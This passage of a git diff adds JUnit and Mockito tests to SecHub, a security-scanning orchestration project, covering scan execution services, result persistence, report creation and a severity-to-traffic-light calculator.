protected boolean isExecutionNecessary(SecHubExecutionContext context, UUIDTraceLogID traceLogID, + SecHubConfiguration configuration) { + return true; + } + + @Override + Logger getMockableLog() { + return logger; + } + + } +} diff --git a/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/product/InfrastructureScanProductExecutionServiceImplTest.java b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/product/InfrastructureScanProductExecutionServiceImplTest.java new file mode 100644 index 0000000000..782e046676 --- /dev/null +++ b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/product/InfrastructureScanProductExecutionServiceImplTest.java @@ -0,0 +1,150 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product; + +import static org.mockito.Mockito.*; + +import java.net.URI; +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; +import java.util.Optional; +import java.util.UUID; + +import org.junit.Before; +import org.junit.Test; + +import com.daimler.sechub.sharedkernel.configuration.SecHubConfiguration; +import com.daimler.sechub.sharedkernel.configuration.SecHubInfrastructureScanConfiguration; +import com.daimler.sechub.sharedkernel.execution.SecHubExecutionContext; + +public class InfrastructureScanProductExecutionServiceImplTest { + + private InfrastructureScanProductExecutionServiceImpl serviceToTest; + private SecHubExecutionContext context; + private SecHubConfiguration configuration; + private SecHubInfrastructureScanConfiguration infraconfig; + private URI uri; + private ProductResultRepository productResultRepository; + private InfrastructureScanProductExecutor infrascanner1; + private InfrastructureScanProductExecutor infrascanner2; + + @Before + public void before() throws Exception { + uri = new URI("https://www.example.org"); + + configuration = mock(SecHubConfiguration.class); + infraconfig = mock(SecHubInfrastructureScanConfiguration.class); + context = mock(SecHubExecutionContext.class); + productResultRepository = mock(ProductResultRepository.class); + + infrascanner1 = mock(InfrastructureScanProductExecutor.class); + infrascanner2 = mock(InfrastructureScanProductExecutor.class); + + when(infraconfig.getUris()).thenReturn(Collections.singletonList(uri)); + when(context.getConfiguration()).thenReturn(configuration); + + List executors = new ArrayList<>(); + executors.add(infrascanner1); + executors.add(infrascanner2); + + serviceToTest = new InfrastructureScanProductExecutionServiceImpl(executors); + serviceToTest.productResultRepository = productResultRepository; + } + + @Test + public void infrascanservice_executes_NO_registered_infrascan_product_executors_when_NO_infraconfig_available() + throws Exception { + + /* prepare */ + when(configuration.getInfraScan()).thenReturn(Optional.empty()); + + /* execute */ + serviceToTest.executeProductsAndStoreResults(context); + + /* test */ + verify(infrascanner1, never()).execute(context); + verify(infrascanner2, never()).execute(context); + + } + + @Test + public void infrascanservice_executes_registered_infrascan_product_executors_when_infraconfig_available() + throws Exception { + + /* prepare */ + when(configuration.getInfraScan()).thenReturn(Optional.of(infraconfig)); + + /* execute */ + serviceToTest.executeProductsAndStoreResults(context); + + /* test */ + verify(infrascanner1).execute(context); + verify(infrascanner2).execute(context); + + } + + @Test + public void infrascanservice_persists_2_results_of_2_registered_infrascan_product_executors() throws Exception { + + /* prepare */ + UUID secHubJobUUID = UUID.randomUUID(); + ProductResult result1 = new ProductResult(secHubJobUUID, ProductIdentifier.FARRADAY, "result1"); + ProductResultTestAccess.setUUID(result1, UUID.randomUUID()); + + ProductResult result2 = new ProductResult(secHubJobUUID, ProductIdentifier.NESSUS, "result2"); + ProductResultTestAccess.setUUID(result2, UUID.randomUUID()); + + when(configuration.getInfraScan()).thenReturn(Optional.of(infraconfig)); + + when(infrascanner1.execute(context)).thenReturn(Collections.singletonList(result1)); + when(infrascanner1.getIdentifier()).thenReturn(ProductIdentifier.FARRADAY); + + when(infrascanner2.execute(context)).thenReturn(Collections.singletonList(result2)); + when(infrascanner2.getIdentifier()).thenReturn(ProductIdentifier.NESSUS); + + /* execute */ + serviceToTest.executeProductsAndStoreResults(context); + + /* test */ + verify(productResultRepository).save(result1); + verify(productResultRepository).save(result2); + + } + + @Test + public void infrascanservice_persists_3_results_of_2_registered_infrascan_product_executors() throws Exception { + + /* prepare */ + UUID secHubJobUUID = UUID.randomUUID(); + ProductResult result1 = new ProductResult(secHubJobUUID, ProductIdentifier.FARRADAY, "result1"); + ProductResultTestAccess.setUUID(result1, UUID.randomUUID()); + + ProductResult result2 = new ProductResult(secHubJobUUID, ProductIdentifier.NESSUS, "result2"); + ProductResultTestAccess.setUUID(result2, UUID.randomUUID()); + + ProductResult result3 = new ProductResult(secHubJobUUID, ProductIdentifier.NESSUS, "result3"); + ProductResultTestAccess.setUUID(result3, UUID.randomUUID()); + + when(configuration.getInfraScan()).thenReturn(Optional.of(infraconfig)); + + when(infrascanner1.execute(context)).thenReturn(Collections.singletonList(result1)); + when(infrascanner1.getIdentifier()).thenReturn(ProductIdentifier.FARRADAY); + + List list = new ArrayList<>(); + list.add(result2); + list.add(result3); + + when(infrascanner2.execute(context)).thenReturn(list); + when(infrascanner2.getIdentifier()).thenReturn(ProductIdentifier.NESSUS); + + /* execute */ + serviceToTest.executeProductsAndStoreResults(context); + + /* test */ + verify(productResultRepository).save(result1); + verify(productResultRepository).save(result2); + verify(productResultRepository).save(result3); + + } + +} diff --git a/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/product/ProductResultRepositoryDBTest.java b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/product/ProductResultRepositoryDBTest.java new file mode 100644 index 0000000000..8c1966f970 --- /dev/null +++ b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/product/ProductResultRepositoryDBTest.java @@ -0,0 +1,135 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product; + +import static com.daimler.sechub.domain.scan.product.ProductIdentifier.*; +import static org.junit.Assert.*; + +import java.util.List; +import java.util.UUID; + +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.boot.test.autoconfigure.orm.jpa.DataJpaTest; +import org.springframework.boot.test.autoconfigure.orm.jpa.TestEntityManager; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.boot.test.context.TestConfiguration; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; + +import com.daimler.sechub.domain.scan.ScanDomainTestFileSupport; + +@RunWith(SpringRunner.class) +@DataJpaTest +@SpringBootTest +@ContextConfiguration(classes= {ProductResultRepository.class,ProductResultRepositoryDBTest.SimpleTestConfiguration.class}) +public class ProductResultRepositoryDBTest { + + @Autowired + private TestEntityManager entityManager; + + @Autowired + private ProductResultRepository jobRepository; + + @Before + public void before() { + } + + + @TestConfiguration + @EnableAutoConfiguration + public static class SimpleTestConfiguration{ + + } + @Test + public void findProduct_results_is_executable_and_returns_an_empty_list_for_faraday_and_netsparker() + throws Exception { + + /* prepare */ + + /* execute */ + List results = jobRepository.findProductResults(UUID.randomUUID(), NETSPARKER, FARRADAY); + + /* test */ + assertNotNull(results); + assertTrue(results.isEmpty()); + + } + + @Test + public void findProduct_results_is_executable_and_returns_faraday_result_for_faraday_and_netsparker() + throws Exception { + + /* prepare */ + UUID secHubJobUUID = UUID.randomUUID(); + ProductResult result1 = new ProductResult(secHubJobUUID, ProductIdentifier.FARRADAY, "result"); + entityManager.persistAndFlush(result1); + + /* execute */ + List results = jobRepository.findProductResults(secHubJobUUID, NETSPARKER, FARRADAY); + + /* test */ + assertNotNull(results); + assertEquals(1, results.size()); + assertEquals(result1, results.iterator().next()); + + } + + @Test + public void findProduct_results_is_executable_and_returns_faraday_result_for_faraday() throws Exception { + + /* prepare */ + UUID secHubJobUUID = UUID.randomUUID(); + ProductResult result1 = new ProductResult(secHubJobUUID, ProductIdentifier.FARRADAY, "result"); + entityManager.persistAndFlush(result1); + + /* execute */ + List results = jobRepository.findProductResults(secHubJobUUID, FARRADAY); + + /* test */ + assertNotNull(results); + assertEquals(1, results.size()); + assertEquals(result1, results.iterator().next()); + + } + + @Test + public void findProduct_results_is_executable_and_returns_empty_result_for_netsparker() throws Exception { + + /* prepare */ + UUID secHubJobUUID = UUID.randomUUID(); + ProductResult result1 = new ProductResult(secHubJobUUID, ProductIdentifier.FARRADAY, "result"); + entityManager.persistAndFlush(result1); + + /* execute */ + List results = jobRepository.findProductResults(secHubJobUUID, NETSPARKER); + + /* test */ + assertNotNull(results); + assertTrue(results.isEmpty()); + + } + + @Test + public void a_standard_netsparker_output_can_be_persisted() { + /* prepare */ + String path = "netsparker/netsparker_v1.0.40.109_testresult1.xml"; + String netsparkerContent = ScanDomainTestFileSupport.getTestfileSupport().loadTestFile(path); + + UUID secHubJobUUID = UUID.randomUUID(); + ProductResult result1 = new ProductResult(secHubJobUUID, ProductIdentifier.NETSPARKER, netsparkerContent); + + /* execute */ + ProductResult result = jobRepository.save(result1); + + /* test */ + assertNotNull(result); + assertNotNull(result.uUID); + assertEquals(result, result1); + assertEquals(netsparkerContent, result.getResult()); + + } + +} diff --git a/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/product/ProductResultTest.java b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/product/ProductResultTest.java new file mode 100644 index 0000000000..7d20331595 --- /dev/null +++ b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/product/ProductResultTest.java @@ -0,0 +1,28 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product; + +import static com.daimler.sechub.test.PojoTester.*; + +import java.util.UUID; + +import org.junit.Test; + +public class ProductResultTest { + + @Test + public void test_equals_and_hashcode_correct_implemented() { + /* prepare */ + ProductResult objectA = new ProductResult(); + objectA.uUID = UUID.randomUUID(); + + ProductResult objectBequalToA = new ProductResult(); + objectBequalToA.uUID = objectA.uUID; + + ProductResult objectCnotEqualToAOrB = new ProductResult(); + objectCnotEqualToAOrB.uUID = UUID.randomUUID(); + + /* test */ + testEqualsAndHashCodeCorrectImplemented(objectA, objectBequalToA, objectCnotEqualToAOrB); + } + +} diff --git a/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/product/ProductResultTestAccess.java b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/product/ProductResultTestAccess.java new file mode 100644 index 0000000000..e40154df16 --- /dev/null +++ b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/product/ProductResultTestAccess.java @@ -0,0 +1,11 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product; + +import java.util.UUID; + +public class ProductResultTestAccess { + + public static void setUUID(ProductResult productResult, UUID uuid) { + productResult.uUID = uuid; + } +} diff --git a/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/product/WebScanProductExecutionServiceImplTest.java b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/product/WebScanProductExecutionServiceImplTest.java new file mode 100644 index 0000000000..303a2adce0 --- /dev/null +++ b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/product/WebScanProductExecutionServiceImplTest.java @@ -0,0 +1,150 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product; + +import static org.mockito.Mockito.*; + +import java.net.URI; +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; +import java.util.Optional; +import java.util.UUID; + +import org.junit.Before; +import org.junit.Test; + +import com.daimler.sechub.sharedkernel.configuration.SecHubConfiguration; +import com.daimler.sechub.sharedkernel.configuration.SecHubWebScanConfiguration; +import com.daimler.sechub.sharedkernel.execution.SecHubExecutionContext; + +public class WebScanProductExecutionServiceImplTest { + + private WebScanProductExecutionServiceImpl serviceToTest; + private SecHubExecutionContext context; + private SecHubConfiguration configuration; + private SecHubWebScanConfiguration webconfiguration; + private URI uri; + private ProductResultRepository productResultRepository; + private WebScanProductExecutor webscanner1; + private WebScanProductExecutor webscanner2; + + @Before + public void before() throws Exception { + uri = new URI("https://www.example.org"); + + configuration = mock(SecHubConfiguration.class); + webconfiguration = mock(SecHubWebScanConfiguration.class); + context = mock(SecHubExecutionContext.class); + productResultRepository = mock(ProductResultRepository.class); + + webscanner1 = mock(WebScanProductExecutor.class); + webscanner2 = mock(WebScanProductExecutor.class); + + when(webconfiguration.getUris()).thenReturn(Collections.singletonList(uri)); + when(context.getConfiguration()).thenReturn(configuration); + + List executors = new ArrayList<>(); + executors.add(webscanner1); + executors.add(webscanner2); + + serviceToTest = new WebScanProductExecutionServiceImpl(executors); + serviceToTest.productResultRepository = productResultRepository; + } + + @Test + public void webscanservice_executes_NO_registered_webscan_product_executors_when_NO_webconfiguration_available() + throws Exception { + + /* prepare */ + when(configuration.getWebScan()).thenReturn(Optional.empty()); + + /* execute */ + serviceToTest.executeProductsAndStoreResults(context); + + /* test */ + verify(webscanner1, never()).execute(context); + verify(webscanner2, never()).execute(context); + + } + + @Test + public void webscanservice_executes_registered_webscan_product_executors_when_webconfiguration_available() + throws Exception { + + /* prepare */ + when(configuration.getWebScan()).thenReturn(Optional.of(webconfiguration)); + + /* execute */ + serviceToTest.executeProductsAndStoreResults(context); + + /* test */ + verify(webscanner1).execute(context); + verify(webscanner2).execute(context); + + } + + @Test + public void webscanservice_persists_2_results_of_2_registered_webscan_product_executors() throws Exception { + + /* prepare */ + UUID secHubJobUUID = UUID.randomUUID(); + ProductResult result1 = new ProductResult(secHubJobUUID, ProductIdentifier.FARRADAY, "result1"); + ProductResultTestAccess.setUUID(result1, UUID.randomUUID()); + + ProductResult result2 = new ProductResult(secHubJobUUID, ProductIdentifier.NETSPARKER, "result2"); + ProductResultTestAccess.setUUID(result2, UUID.randomUUID()); + + when(configuration.getWebScan()).thenReturn(Optional.of(webconfiguration)); + + when(webscanner1.execute(context)).thenReturn(Collections.singletonList(result1)); + when(webscanner1.getIdentifier()).thenReturn(ProductIdentifier.FARRADAY); + + when(webscanner2.execute(context)).thenReturn(Collections.singletonList(result2)); + when(webscanner2.getIdentifier()).thenReturn(ProductIdentifier.NETSPARKER); + + /* execute */ + serviceToTest.executeProductsAndStoreResults(context); + + /* test */ + verify(productResultRepository).save(result1); + verify(productResultRepository).save(result2); + + } + + @Test + public void webscanservice_persists_3_results_of_2_registered_webscan_product_executors() throws Exception { + + /* prepare */ + UUID secHubJobUUID = UUID.randomUUID(); + ProductResult result1 = new ProductResult(secHubJobUUID, ProductIdentifier.FARRADAY, "result1"); + ProductResultTestAccess.setUUID(result1, UUID.randomUUID()); + + ProductResult result2 = new ProductResult(secHubJobUUID, ProductIdentifier.NETSPARKER, "result2"); + ProductResultTestAccess.setUUID(result2, UUID.randomUUID()); + + ProductResult result3 = new ProductResult(secHubJobUUID, ProductIdentifier.NETSPARKER, "result3"); + ProductResultTestAccess.setUUID(result3, UUID.randomUUID()); + + when(configuration.getWebScan()).thenReturn(Optional.of(webconfiguration)); + + when(webscanner1.execute(context)).thenReturn(Collections.singletonList(result1)); + when(webscanner1.getIdentifier()).thenReturn(ProductIdentifier.FARRADAY); + + List list = new ArrayList<>(); + list.add(result2); + list.add(result3); + + when(webscanner2.execute(context)).thenReturn(list); + when(webscanner2.getIdentifier()).thenReturn(ProductIdentifier.NETSPARKER); + + /* execute */ + serviceToTest.executeProductsAndStoreResults(context); + + /* test */ + verify(productResultRepository).save(result1); + verify(productResultRepository).save(result2); + verify(productResultRepository).save(result3); + + } + +} diff --git a/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/report/AssertCalculation.java b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/report/AssertCalculation.java new file mode 100644 index 0000000000..e4e8ae6030 --- /dev/null +++ b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/report/AssertCalculation.java @@ -0,0 +1,51 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.report; + +import static org.junit.Assert.*; + +import java.util.List; + +import com.daimler.sechub.domain.scan.SecHubFinding; +import com.daimler.sechub.domain.scan.SecHubResult; +import com.daimler.sechub.sharedkernel.type.TrafficLight; + +class AssertCalculation { + + private ScanReportTrafficLightCalculator calculator; + private SecHubResult currentResult; + + private AssertCalculation(ScanReportTrafficLightCalculator calculator) { + this.calculator = calculator; + } + public AssertCalculation isFilteringFindingsTo(TrafficLight wanted, SecHubFinding ...findings) { + List filtered = calculator.filterFindingsFor(currentResult, wanted); + + assertNotNull(filtered); // never null!s + for (SecHubFinding finding: findings) { + assertTrue("Finding missing:"+finding,filtered.contains(finding)); // just same object. equals not custom implemented + } + assertEquals(findings.length, filtered.size()); + return this; + + } + + public AssertCalculation isCalculatedTo(TrafficLight light) { + TrafficLight calcLight = calculator.calculateTrafficLight(currentResult); + + assertNotNull(calcLight); // never null!s + assertEquals("calculated light not as expected!", light, calcLight); + + return this; + + } + + public AssertCalculation withResult(SecHubResult result) { + this.currentResult = result; + return this; + } + + public static AssertCalculation assertCalculator(ScanReportTrafficLightCalculator calculator) { + assertNotNull(calculator); + return new AssertCalculation(calculator); + } +} \ No newline at end of file diff --git a/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/report/ReportServiceTest.java b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/report/ReportServiceTest.java new file mode 100644 index 0000000000..7135c100d7 --- /dev/null +++ b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/report/ReportServiceTest.java @@ -0,0 +1,186 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.report; + +import static org.junit.Assert.*; +import static org.mockito.ArgumentMatchers.*; +import static org.mockito.Mockito.*; + +import java.util.UUID; + +import org.junit.Before; +import org.junit.Test; +import org.mockito.invocation.InvocationOnMock; +import org.mockito.stubbing.Answer; + +import com.daimler.sechub.domain.scan.SecHubResult; +import com.daimler.sechub.domain.scan.SecHubResultService; +import com.daimler.sechub.domain.scan.product.ReportProductExecutionService; +import com.daimler.sechub.sharedkernel.configuration.SecHubConfiguration; +import com.daimler.sechub.sharedkernel.execution.SecHubExecutionContext; +import com.daimler.sechub.sharedkernel.type.TrafficLight; + +public class ReportServiceTest { + + private CreateScanReportService serviceToTest; + private ReportProductExecutionService reportProductExecutionService; + private SecHubResultService secHubResultService; + private ScanReportTrafficLightCalculator trafficLightCalculator; + private SecHubExecutionContext context; + private SecHubResult secHubResult; + private ScanReportRepository reportRepository; + private UUID secHubJobUUID; + private SecHubConfiguration configuration; + + @Before + public void before() throws Exception { + serviceToTest = new CreateScanReportService(); + + secHubJobUUID = UUID.randomUUID(); + context = mock(SecHubExecutionContext.class); + configuration = mock(SecHubConfiguration.class); + when (context.getConfiguration()).thenReturn(configuration); + when(context.getSechubJobUUID()).thenReturn(secHubJobUUID); + when(configuration.getProjectId()).thenReturn("project1"); + + reportRepository = mock(ScanReportRepository.class); + /* just return report as given to save method... */ + when(reportRepository.save(any(ScanReport.class))).thenAnswer(new Answer() { + + @Override + public ScanReport answer(InvocationOnMock invocation) throws Throwable { + return (ScanReport) invocation.getArguments()[0]; + } + }); + reportProductExecutionService = mock(ReportProductExecutionService.class); + + secHubResult = mock(SecHubResult.class); + secHubResultService = mock(SecHubResultService.class); + when(secHubResultService.createResult(context)).thenReturn(secHubResult); + + trafficLightCalculator = mock(ScanReportTrafficLightCalculator.class); + + serviceToTest.reportProductExecutionService = reportProductExecutionService; + serviceToTest.secHubResultService = secHubResultService; + serviceToTest.trafficLightCalculator = trafficLightCalculator; + serviceToTest.reportRepository = reportRepository; + + } + + @Test + public void createReport_returns_not_null() throws Exception { + + /* execute */ + ScanReport report = serviceToTest.createReport(context); + + /* test */ + assertNotNull(report); + + } + + @Test + public void createReport_set_report_traffic_light_red_name_when_defined_by_trafficlight_calculator() + throws Exception { + /* prepare */ + when(trafficLightCalculator.calculateTrafficLight(secHubResult)).thenReturn(TrafficLight.RED); + + /* execute */ + ScanReport report = serviceToTest.createReport(context); + + /* test */ + assertNotNull(report); + assertEquals(TrafficLight.RED.name(), report.getTrafficLightAsString()); + + } + + @Test + public void createReport_set_report_traffic_light_yellow_name_when_defined_by_trafficlight_calculator() + throws Exception { + /* prepare */ + when(trafficLightCalculator.calculateTrafficLight(secHubResult)).thenReturn(TrafficLight.YELLOW); + + /* execute */ + ScanReport report = serviceToTest.createReport(context); + + /* test */ + assertNotNull(report); + assertEquals(TrafficLight.YELLOW.name(), report.getTrafficLightAsString()); + + } + + @Test + public void createReport_set_report_traffic_green_yellow_name_when_defined_by_trafficlight_calculator() + throws Exception { + /* prepare */ + when(trafficLightCalculator.calculateTrafficLight(secHubResult)).thenReturn(TrafficLight.GREEN); + + /* execute */ + ScanReport report = serviceToTest.createReport(context); + + /* test */ + assertNotNull(report); + assertEquals(TrafficLight.GREEN.name(), report.getTrafficLightAsString()); + + } + + @Test + public void createReport_set_sechub_jobuuid_to_returneed_report() throws Exception { + /* execute */ + ScanReport report = serviceToTest.createReport(context); + + /* test */ + assertNotNull(report); + assertEquals(secHubJobUUID, report.getSecHubJobUUID()); + + } + + @Test + public void createReport_calls_sechub_result_service() throws Exception { + + /* execute */ + serviceToTest.createReport(context); + + /* test */ + verify(secHubResultService).createResult(context); + } + + @Test + public void createReport_calls_execution_service() throws Exception { + + /* execute */ + serviceToTest.createReport(context); + + /* test */ + verify(reportProductExecutionService).executeProductsAndStoreResults(context); + } + + @Test + public void createReport_saves_created_report_by_repository() throws Exception { + + /* execute */ + serviceToTest.createReport(context); + + /* test */ + verify(reportRepository).save(any(ScanReport.class)); + } + + @Test + public void createReport_returns_saved_report_by_repository() throws Exception { + + /* execute */ + serviceToTest.createReport(context); + + /* test */ + verify(reportRepository).save(any(ScanReport.class)); + } + + @Test + public void createReport_calls_trafficlight_calculator_with_result() throws Exception { + + /* execute */ + serviceToTest.createReport(context); + + /* test */ + verify(trafficLightCalculator).calculateTrafficLight(secHubResult); + } + +} diff --git a/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/report/ReportTest.java b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/report/ReportTest.java new file mode 100644 index 0000000000..a4bcc32041 --- /dev/null +++ b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/report/ReportTest.java @@ -0,0 +1,28 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.report; + +import static com.daimler.sechub.test.PojoTester.*; + +import java.util.UUID; + +import org.junit.Test; + +public class ReportTest { + + @Test + public void test_equals_and_hashcode_correct_implemented() { + /* prepare */ + ScanReport objectA = new ScanReport(); + objectA.uUID = UUID.randomUUID(); + + ScanReport objectBequalToA = new ScanReport(); + objectBequalToA.uUID = objectA.uUID; + + ScanReport objectCnotEqualToAOrB = new ScanReport(); + objectCnotEqualToAOrB.uUID = UUID.randomUUID(); + + /* test */ + testEqualsAndHashCodeCorrectImplemented(objectA, objectBequalToA, objectCnotEqualToAOrB); + } + +} diff --git a/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/report/ReportTrafficLightCalculatorTest.java b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/report/ReportTrafficLightCalculatorTest.java new file mode 100644 index 0000000000..4651971105 --- /dev/null +++ b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/report/ReportTrafficLightCalculatorTest.java @@ -0,0 +1,266 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.report; + +import static com.daimler.sechub.domain.scan.report.AssertCalculation.*; +import static org.mockito.Mockito.*; + +import java.util.ArrayList; +import java.util.List; + +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.ExpectedException; + +import com.daimler.sechub.domain.scan.SecHubFinding; +import com.daimler.sechub.domain.scan.SecHubResult; +import com.daimler.sechub.domain.scan.Severity; +import com.daimler.sechub.sharedkernel.type.TrafficLight; + +/** + * 2018-02-20 we defined following logic which is tested here: + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + *
    CriticalRed
    High
    MediumYellow
    UnclassifiedGreen
    Low
    Info
    "No findings at all"
    + * + * @author Albert Tregnaghi + * + */ +public class ReportTrafficLightCalculatorTest { + + private ScanReportTrafficLightCalculator calculatorToTest; + + @Rule + public ExpectedException expected = ExpectedException.none(); + + @Before + public void before() { + calculatorToTest = new ScanReportTrafficLightCalculator(); + } + /* +-----------------------------------------------------------------------+ */ + /* +............................ filter test ..........................+ */ + /* +-----------------------------------------------------------------------+ */ + + @Test + public void having_critical_findings_filtering_to_green_returns_only_mpty() { + assertCalculator(calculatorToTest). + withResult(prepareSechubResultWithFindings(Severity.CRITICAL)). + isFilteringFindingsTo(TrafficLight.GREEN); + } + + @Test + public void having_critical_findings_filtering_to_yellow_returns_only_mpty() { + assertCalculator(calculatorToTest). + withResult(prepareSechubResultWithFindings(Severity.CRITICAL)). + isFilteringFindingsTo(TrafficLight.GREEN); + } + + @Test + public void having_setup_findings_filtering_to_red_returns_critical_and_high() { + /* prepare */ + MultiFindingsTestSetup setup = new MultiFindingsTestSetup(); + + /* test*/ + assertCalculator(calculatorToTest). + withResult(setup.result). + isFilteringFindingsTo(TrafficLight.RED,setup.findingCritical,setup.findingHigh); + } + + @Test + public void having_setup_findings_filtering_to_yellow_returns_medium_only() { + /* prepare */ + MultiFindingsTestSetup setup = new MultiFindingsTestSetup(); + + /* test*/ + assertCalculator(calculatorToTest). + withResult(setup.result). + isFilteringFindingsTo(TrafficLight.YELLOW,setup.findingMedium); + } + + @Test + public void having_setup_findings_filtering_to_green_returns_low_unclassfied_and_info() { + /* prepare */ + MultiFindingsTestSetup setup = new MultiFindingsTestSetup(); + + /* test*/ + assertCalculator(calculatorToTest). + withResult(setup.result). + isFilteringFindingsTo(TrafficLight.GREEN,setup.findingLow, setup.findingInfo, setup.findingUnclassified); + } + + /* +-----------------------------------------------------------------------+ */ + /* +............................ Single variants ..........................+ */ + /* +-----------------------------------------------------------------------+ */ + @Test + public void calculatore_called_with_null_returns_() { + /* prepare for test */ + expected.expect(IllegalArgumentException.class); + + /* execute */ + calculatorToTest.calculateTrafficLight(null); + } + + @Test + public void a_sechub_result_containing_finding_critical__results_in_red() { + /* @formatter:off */ + assertCalculator(calculatorToTest). + withResult(prepareSechubResultWithFindings(Severity.CRITICAL)). + isCalculatedTo(TrafficLight.RED); + /* @formatter:on */ + } + + @Test + public void a_sechub_result_containing_finding_high__results_in_red() { + /* @formatter:off */ + assertCalculator(calculatorToTest). + withResult(prepareSechubResultWithFindings(Severity.HIGH)). + isCalculatedTo(TrafficLight.RED); + /* @formatter:on */ + + } + + @Test + public void a_sechub_result_containing_finding_medium__results_in_yellow() { + /* @formatter:off */ + assertCalculator(calculatorToTest). + withResult(prepareSechubResultWithFindings(Severity.MEDIUM)). + isCalculatedTo(TrafficLight.YELLOW); + /* @formatter:on */ + } + + @Test + public void a_sechub_result_containing_finding_low__results_in_green() { + /* @formatter:off */ + assertCalculator(calculatorToTest). + withResult(prepareSechubResultWithFindings(Severity.LOW)). + isCalculatedTo(TrafficLight.GREEN); + /* @formatter:on */ + } + + @Test + public void a_sechub_result_containing_finding_info__results_in_green() { + /* @formatter:off */ + assertCalculator(calculatorToTest). + withResult(prepareSechubResultWithFindings(Severity.INFO)). + isCalculatedTo(TrafficLight.GREEN); + /* @formatter:on */ + } + + @Test + public void even_an_empty_sechub_results_returns_not_null_but_green() { + /* @formatter:off */ + assertCalculator(calculatorToTest). + withResult(prepareSechubResultWithFindings()). + isCalculatedTo(TrafficLight.GREEN); + /* @formatter:on */ + } + + /* +-----------------------------------------------------------------------+ */ + /* +............................ Combined variants ........................+ */ + /* +-----------------------------------------------------------------------+ */ + @Test + public void a_sechub_result_containing_finding_info_low_info_results_in_green() { + /* @formatter:off */ + assertCalculator(calculatorToTest). + withResult(prepareSechubResultWithFindings(Severity.INFO, Severity.LOW, Severity.INFO)). + isCalculatedTo(TrafficLight.GREEN); + /* @formatter:on */ + } + + @Test + public void a_sechub_result_containing_finding_info_low_info_medium_results_in_yellow() { + /* @formatter:off */ + assertCalculator(calculatorToTest). + withResult(prepareSechubResultWithFindings(Severity.INFO, Severity.LOW, Severity.INFO, Severity.MEDIUM)). + isCalculatedTo(TrafficLight.YELLOW); + /* @formatter:on */ + } + + @Test + public void a_sechub_result_containing_finding_info_high_info_medium_results_in_red() { + /* @formatter:off */ + assertCalculator(calculatorToTest). + withResult(prepareSechubResultWithFindings(Severity.INFO, Severity.HIGH, Severity.INFO, Severity.MEDIUM)). + isCalculatedTo(TrafficLight.RED); + /* @formatter:on */ + } + + @Test + public void a_sechub_result_containing_finding_info_critical_info_medium_results_in_red() { + /* @formatter:off */ + assertCalculator(calculatorToTest). + withResult(prepareSechubResultWithFindings(Severity.INFO, Severity.CRITICAL, Severity.INFO, Severity.MEDIUM)). + isCalculatedTo(TrafficLight.RED); + /* @formatter:on */ + } + /* +-----------------------------------------------------------------------+ */ + /* +............................ Helpers ..................................+ */ + /* +-----------------------------------------------------------------------+ */ + + private SecHubResult prepareSechubResultWithFindings(Severity... severities) { + SecHubResult secHubResult = mock(SecHubResult.class); + List findingList = new ArrayList<>(); + for (Severity severity : severities) { + SecHubFinding finding = new SecHubFinding(); + finding.setSeverity(severity); + findingList.add(finding); + } + when(secHubResult.getFindings()).thenReturn(findingList); + return secHubResult; + } + + private class MultiFindingsTestSetup{ + private SecHubFinding findingCritical; + private SecHubFinding findingHigh; + private SecHubFinding findingLow; + private SecHubFinding findingMedium; + private SecHubFinding findingInfo; + private SecHubFinding findingUnclassified; + + private SecHubResult result; + + MultiFindingsTestSetup(){ + result = new SecHubResult(); + + findingCritical = createAndRegisterFinding(Severity.CRITICAL); + findingHigh = createAndRegisterFinding(Severity.HIGH); + findingMedium = createAndRegisterFinding(Severity.MEDIUM); + findingLow = createAndRegisterFinding(Severity.LOW); + findingInfo = createAndRegisterFinding(Severity.INFO); + findingUnclassified= createAndRegisterFinding(Severity.UNCLASSIFIED); + + } + + private SecHubFinding createAndRegisterFinding(Severity severity) { + List findings = result.getFindings(); + SecHubFinding find = new SecHubFinding(); + find.setSeverity(severity); + findings.add(find); + return find; + } + } +} diff --git 